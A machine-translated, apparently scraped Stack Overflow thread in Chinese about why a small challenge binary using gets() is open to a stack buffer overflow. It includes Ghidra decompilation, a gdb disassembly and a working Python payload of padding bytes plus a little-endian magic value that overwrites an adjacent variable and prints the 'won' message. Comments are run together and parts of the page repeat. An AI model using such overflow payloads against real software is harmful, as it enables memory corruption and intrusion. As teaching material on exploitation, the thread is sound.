C++ 为什么这个二进制文件容易发生缓冲区溢出?

C++ 为什么这个二进制文件容易发生缓冲区溢出?,c++,c,binary,buffer-overflow,ghidra,C++,C,Binary,Buffer Overflow,Ghidra,这是对缓冲区溢出的二进制文件的提取。我用吉德拉反编译了它 char local_7 [32]; long local_78; printf("Give it a try"); gets(local_7); if (local_78 != 0x4141414141414141) { if (local_78 == 0x1122334455667788) { puts ("That's won"

这是对缓冲区溢出的二进制文件的提取。我用吉德拉反编译了它

  char local_7 [32];
  long local_78;

  printf("Give it a try");
  gets(local_7);
      if (local_78 != 0x4141414141414141) {
        if (local_78 == 0x1122334455667788) {
          puts ("That's won")
        }
        puts("Let's continue");
      }
我想了解为什么可能造成缓冲区溢出。 我检查了0x4141十六进制值,发现它与字符串有关。但是与0x4141和0x112233445667788相关的条件究竟是什么?更准确地说,用户可以回答什么来获得赢得的信息? 如有任何解释,将不胜感激,谢谢

___编辑___
我必须补充一点,我在使用disas主命令时看到这两个十六进制值:

0x00000000000011a7 <+8>: movabs $0x4141414141414141,%rax  
0x00000000000011e6 <+71>: movabs $0x4141414141414141,%rax  
0x00000000000011f6 <+87>: movabs $0x1122334455667788,%rax

以下是完整的拆解:

(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000001189 <+0>:     endbr64 
   0x000000000000118d <+4>:     push   %rbp
   0x000000000000118e <+5>:     mov    %rsp,%rbp
   0x0000000000001191 <+8>:     sub    $0x30,%rsp
   0x0000000000001195 <+12>:    lea    0xe68(%rip),%rdi        # 0x2004
   0x000000000000119c <+19>:    mov    $0x0,%eax
   0x00000000000011a1 <+24>:    callq  0x1080 <printf@plt>
   0x00000000000011a6 <+29>:    lea    -0x30(%rbp),%rax
   0x00000000000011aa <+33>:    mov    %rax,%rdi
   0x00000000000011ad <+36>:    mov    $0x0,%eax
   0x00000000000011b2 <+41>:    callq  0x1090 <gets@plt>
   0x00000000000011b7 <+46>:    movabs $0x4141414141414141,%rax
   0x00000000000011c1 <+56>:    cmp    %rax,-0x8(%rbp)
   0x00000000000011c5 <+60>:    je     0x11ef <main+102>
   0x00000000000011c7 <+62>:    movabs $0x1122334455667788,%rax
   0x00000000000011d1 <+72>:    cmp    %rax,-0x8(%rbp)
   0x00000000000011d5 <+76>:    jne    0x11e3 <main+90>
   0x00000000000011d7 <+78>:    lea    0xe34(%rip),%rdi        # 0x2012
   0x00000000000011de <+85>:    callq  0x1070 <puts@plt>
   0x00000000000011e3 <+90>:    lea    0xe33(%rip),%rdi        # 0x201d
   0x00000000000011ea <+97>:    callq  0x1070 <puts@plt>
   0x00000000000011ef <+102>:   mov    $0x0,%eax
   0x00000000000011f4 <+107>:   leaveq
   0x00000000000011f5 <+108>:   retq
以及比较局部变量的cmp指令

   0x00000000000011c1 <+56>:    cmp    %rax,-0x8(%rbp)
注意88之前的c2字节。有关详细信息,请参见以下问题:

如果改用字节类型,则可以获得正确的输出:

$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  88 77 66 55 44 33 22 11  |AAAAAAAA.wfUD3".|
00000030
使用此输入,我们将获得“赢得”消息:


此二进制文件易受缓冲区溢出的攻击,因为它使用gets函数,因此已被弃用

它将用户输入复制到传递的缓冲区,而不检查缓冲区的大小。因此,如果用户的输入大于可用空间,它将在内存中溢出,并可能覆盖位于缓冲区后面的其他变量或结构

这就是长本地_78的情况;变量,它位于缓冲区之后的堆栈中,因此我们可能会覆盖它的值

为此,我们需要传递一个输入,即:

最小32字节,以填充实际缓冲区。字符ASCII字符通常应等于1字节 另外,一个额外的变量字节数来填充缓冲区和长变量之间的空间这是因为很多时候,编译器会进行优化,并可能在这两个变量之间添加其他变量,即使我们没有将它们放在代码中。堆栈是一个动态内存区域,因此通常无法100%预测其布局 另外,8字节,在大多数计算机体系结构中,这通常是一个长字节的大小,虽然它可能不同,但我们假设这是x86/64。这是我们将溢出变量的值。 除了空字节外,我们不关心前32+X字节中的内容。然后程序检查本地_78的一些特殊值,如果检查通过,它将执行赢得的puts;表示您已经赢得或成功利用了该程序并重写了内存

这里的问题是,这样的值又是0x1122334455667788,长度为8字节。我们可以将其字节分开阅读:0x11 0x22 0x33 0x44 0x55 0x66 0x77 0x88,并尝试查看哪个字节对应于哪个字节
问题在于,像0x22这样的字节不是ASCII可表示的字符,因此不能直接在控制台中键入它们,因为普通键盘没有输入字符0x11的键,因为它没有视觉表示。您将需要一个附加程序来利用该程序。这样的程序需要使用操作系统中可用的任何机制来传递这些值。例如,在Linux中,可以使用管道/输出重定向来实现这一点。gets总是很危险的,您的问题的答案可能是特定于处理器的。检查与itgets相关的指令集,只要有输入,它就会继续读写。因此,如果用户输入的字符超过32个,本地_7将溢出。您必须在32个其他字节后输入ASCII格式的0x1122334455667788,才能获胜。@Emanuel非常感谢您的回答。这是否意味着用户必须输入64个字符才能溢出?此外,我检查了0x112233445667788在ASCII中的转换,得到了一些奇怪的字符,没有解释。。你能告诉我我做错了什么吗?我必须补充一点,我在使用disas主命令时看到以下几行:0x00000000000011a7:movabs$0x414141,%rax/0x00000011e6:movabs$0x414141,%rax/0x00000000000011f6:movabs$0x112233445667788,%raxI尝试了python3-c打印'a'*32+'\x88\x77\x66\x55\x44\x33\x22\x11'./myBinary,但我总是有让我们继续的消息。我离解决方案不远,但我想我错过了一件事。非常感谢您的解释,特别是字符串和字节类型之间的区别。。但这很奇怪,我试着粘贴aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa。在二进制文件提出问题并返回后,让我们继续,尽管这是赢了。。。你知道为什么吗?你不能复制和粘贴hd的字符串输出,因为它用..替换了非ASCII和不可打印的字节。。88是无效的ASCII,11是垂直制表符。好的,知道了。因此,如果我运行二进制文件并想问这个问题,我必须粘贴python3-c import sys;sys.stdout.buffer.writeb'A'*40+b'\x88\x77\x66\x55\x44\x33\x22\x11'对吗?我试过了,但是二进制返回,让我们继续
故障堆芯转储否。这将编写命令python3-c。。。从字面上说是进入缓冲区。一般来说,您将无法复制粘贴您的漏洞。在这种情况下,剪贴板将删除88,因为它不是有效的UTF-8,而终端将吃掉11,因为它是一个控制字符,实际上是DC1,而不是垂直制表符。这就是为什么我们用管道来代替。好的,再次谢谢。。现在我编写了python3-c导入系统;sys.stdout.buffer.writeb'A'*40+b'\x88\x77\x66\x55\x44\x33\x22\x11'./myBinary,但它只返回初始问题,请尝试一下。。。
   0x00000000000011c1 <+56>:    cmp    %rax,-0x8(%rbp)
$ python3 -c "print ('A' * 40 +'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  c2 88 77 66 55 44 33 22  |AAAAAAAA..wfUD3"|
00000030  11 0a                                             |..|
00000032
$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|hd -v
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  88 77 66 55 44 33 22 11  |AAAAAAAA.wfUD3".|
00000030
$ python3 -c "import sys; sys.stdout.buffer.write(b'A' * 40 + b'\x88\x77\x66\x55\x44\x33\x22\x11')"|./a.out 
Give it a tryThat's won
Let's continue